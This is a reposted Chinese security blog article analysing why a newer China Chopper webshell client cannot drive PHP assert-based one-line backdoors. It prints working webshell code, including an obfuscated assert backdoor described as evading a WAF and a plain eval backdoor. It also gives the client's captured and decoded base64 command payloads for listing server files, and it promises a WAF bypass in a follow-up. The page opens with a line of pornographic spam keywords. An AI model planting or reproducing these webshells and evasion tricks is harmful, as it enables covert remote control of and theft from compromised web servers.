日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

Crfe php,新版中国菜刀(20141213)一句话不支持php assert分析

發布時間:2024/1/23 php 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Crfe php,新版中国菜刀(20141213)一句话不支持php assert分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前幾天下了新版的菜刀,今天發現一個php一句話連不上,但是舊版的菜刀可以連,而且新版是可以連接eval的php一句話。當時挺好奇,排除了非菜刀造成的可能性,就只能是菜刀更新的問題,所以接下來要做的就是分析新版和老版菜刀,并做對比。

0x01. 抓包分析

對新版菜刀抓包

在遠程的服務器上放了一個過某狗的php一句話,文件名為xxoo.php,內容如下<?php

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";

@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";

@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}

[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?//?密碼-7

?>

新版菜刀連接后,出現下圖錯誤。

用wireshark抓包,觀察http的request和response

wireshark過濾條件:ip.addr==xx.xx.xx.xx and http,設置完成后,點擊開始capture。現在回到菜刀,右鍵菜刀的文件管理,出現上圖的錯誤后,即可抓到如下兩個包,一個request,一個response

注意,如果是本地localhost服務器的話,wireshark不能直接抓包,具體可以百度或者用burp。

菜刀整個post數據一共有三個變量

變量一:-7=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/($xx/**/($yy[z0]));

解密后為:@eval/**/(base64_decode/**/($_POST[z0]));還有兩個%01,因為沒有影響就不寫了。

變量二:z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=

通過上面@eval/**/(base64_decode/**/($_POST[z0]));可以知道z0是經過base64編碼的,那么解碼后為:@ini_set("display_errors",?"0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo?("->|");;

$D?=?base64_decode(get_magic_quotes_gpc()???stripslashes($_POST["z1"])?:?$_POST["z1"]);

$F?=?@opendir($D);

if?($F?==?NULL)?{

echo?("ERROR://?Path?Not?Found?Or?No?Permission!");

}?else?{

$M?=?NULL;

$L?=?NULL;

while?($N?=?@readdir($F))?{

$P?=?$D?.?"/"?.?$N;

$T?=?@date("Y-m-d?H:i:s",?@filemtime($P));

@$E?=?substr(base_convert(@fileperms($P)?,?10,?8)?,?-4);

$R?=?"\t"?.?$T?.?"\t"?.?@filesize($P)?.?"\t"?.?$E?.?"

";

if?(@is_dir($P))?$M.=?$N?.?"/"?.?$R;

else?$L.=?$N?.?$R;

}

echo?$M?.?$L;

@closedir($F);

};

echo?("|

die();

可以看出z0是遍歷文件的作用。

變量三:

z1=QzpcXHdhbXBcXHd3d1xc

通過變量二可以知道z1也是base64編碼的,那么z1解碼后為C:\\wamp\\www\\,可以看出是z1遍歷文件的文件路徑。

對老版菜刀抓包

同理,

變量一:

-7=@eval(base64_decode($_POST[z0]));

變量二:z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7

base64_decode后為:ini_set("display_errors",?"0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo?("->|");;

$D?=?base64_decode($_POST["z1"]);

$F?=?@opendir($D);

if?($F?==?NULL)?{

echo?("ERROR://?Path?Not?Found?Or?No?Permission!");

}?else?{

$M?=?NULL;

$L?=?NULL;

while?($N?=?@readdir($F))?{

$P?=?$D?.?"/"?.?$N;

$T?=?@date("Y-m-d?H:i:s",?@filemtime($P));

@$E?=?substr(base_convert(@fileperms($P)?,?10,?8)?,?-4);

$R?=?"\t"?.?$T?.?"\t"?.?@filesize($P)?.?"\t"?.?$E?.?"

";

if?(@is_dir($P))?$M.=?$N?.?"/"?.?$R;

else?$L.=?$N?.?$R;

}

echo?$M?.?$L;

@closedir($F);

};

echo?("|

die();

?>

變量三:

z1=QzpcXHdhbXBcXHd3d1xc

0x02. 對比分析

通過第一步的抓包對比分析后,可以發現只有變量一是造成assert不能使用的元兇,因為其他兩個變量基本是一模一樣。既然eval的一句話可以使用,而assert的一句話不能使用,那應該是eval和assert用法不同造成這個問題。

通過文檔可以發現assert是判斷一條語句是否為FALSE(注意只是一條),而eval是把當前字符串作為代碼執行(可以是多條)。

證實下:

xxoo.php輸出a,說明只執行了第一句

array.php內容如下(過某狗)<?php

eval(

$_POST[cmd]

);

?>

輸出ab,說明兩句都執行

真想終于浮出水面。由于assert的單個語句限制和新版菜刀第一個變量是多條語句導致assert的一句話新版菜刀不能使用。

0x03. 影響

所有assert的一句話都不能用,但可以使用老版本。

0x04. 總結

1. 通過這樣分析后,某狗的菜刀攔截就完全可以bypass,下篇文章再說吧。

2.?只分析了php的文件管理部分,其他部分可能也會存在些許的不一樣,沒有遇到,所以沒做分析

?[作者/JoyChou,屬FreeBuf原創獎勵計劃文章,未經許可禁止轉載]?

總結

以上是生活随笔為你收集整理的Crfe php,新版中国菜刀(20141213)一句话不支持php assert分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。